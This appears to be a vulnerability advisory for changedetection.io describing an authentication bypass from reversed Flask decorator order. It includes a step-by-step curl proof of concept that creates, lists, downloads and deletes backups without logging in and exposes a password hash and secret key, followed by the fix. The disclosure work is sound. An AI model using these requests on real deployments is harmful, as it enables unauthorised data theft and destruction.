Summary
On 13 routes across 5 blueprint files, the @login_optionally_required decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.
The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.
Details
Correct order (used on 30+ routes):
@blueprint.route('/settings', methods=['GET'])
@login_optionally_required
def settings():
...Incorrect order (13 vulnerable routes):
@login_optionally_required # ← Applied to return value of @route, NOT the view
@blueprint.route('/backups/download/<filename>') # ← Registers raw function
def download_backup(filename):
...POC
=== PHASE 1: Confirm Authentication is Required ===
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/
Main page: HTTP 302 -> http://127.0.0.1:5557/login?next=/
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/settings
Settings page: HTTP 302 (auth required, redirects to login)
Password is set. Unauthenticated requests to / and /settings
are properly redirected to /login.
=== PHASE 2: Authentication Bypass on Backup Routes ===
(All requests made WITHOUT any session cookie)
--- Exploit 1: Trigger backup creation ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/request-backup
Response: HTTP 302 -> http://127.0.0.1:5557/backups/
(302 redirects to /backups/ listing page, NOT to /login -- backup was created)
--- Exploit 2: List backups page ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/
Response: HTTP 200
--- Exploit 3: Extract backup filenames ---
$ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup
Found: changedetection-backup-20260331005425.zip
--- Exploit 4: Download backup without authentication ---
$ curl -s -o /tmp/stolen_backup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip
Response: HTTP 200
$ file /tmp/stolen_backup.zip
/tmp/stolen_backup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
$ ls -la /tmp/stolen_backup.zip
-rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolen_backup.zip
$ unzip -l /tmp/stolen_backup.zip
Archive: /tmp/stolen_backup.zip
Length Date Time Name
--------- ---------- ----- ----
26496 2026-03-31 00:54 url-watches.json
64 2026-03-31 00:52 secret.txt
51 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt
1682 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br
4395 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br
40877 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br
51 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/history.txt
40877 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br
73 2026-03-31 00:54 url-list.txt
155 2026-03-31 00:54 url-list-with-tags.txt
--------- -------
114721 10 files
--- Exploit 5: Extract sensitive data from backup ---
Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX...
Watched URLs:
- https://news.ycombinator.com/ (UUID: 4ff247a9...)
- https://changedetection.io/CHANGELOG.txt (UUID: c8d85001...)
Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6
--- Exploit 6: Delete all backups without auth ---
$ curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:5557/backups/remove-backups
Response: HTTP 302
=== PHASE 3: Cross-Verification ===
Verify protected routes still require auth:
/ -> HTTP 302 (302 = protected)
/settings -> HTTP 302 (302 = protected)
=== RESULTS ===
PROTECTED routes (auth required, HTTP 302 -> /login):
/ HTTP 302
/settings HTTP 302
BYPASSED routes (no auth needed):
/backups/request-backup HTTP 302 (triggers backup creation, redirects to /backups/ not /login)
/backups/ HTTP 200 (lists all backups)
/backups/download/<file> HTTP 200 (downloads backup with secrets)
/backups/remove-backups HTTP 302 (deletes all backups)
[+] CONFIRMED: Authentication bypass on backup routes!
Impact
- Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration
- Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs
- SSRF — Proxy check endpoint can be triggered to scan internal network
- Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions
Remediation
Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:
# Before (VULNERABLE):
@login_optionally_required
@blueprint.route('/backups/download/<filename>')
def download_backup(filename):
# After (FIXED):
@blueprint.route('/backups/download/<filename>')
@login_optionally_required
def download_backup(filename):References
axel-corsiez Reporter
Summary
On 13 routes across 5 blueprint files, the
@login_optionally_requireddecorator is placed before (outer to)@blueprint.route()instead of after it. In Flask,@route()must be the outermost decorator because it registers the function it receives. When the order is reversed,@route()registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.
Details
Correct order (used on 30+ routes):
Incorrect order (13 vulnerable routes):
POC
Impact
Remediation
Swap the decorator order on all 13 routes.
@blueprint.route()must be outermost:References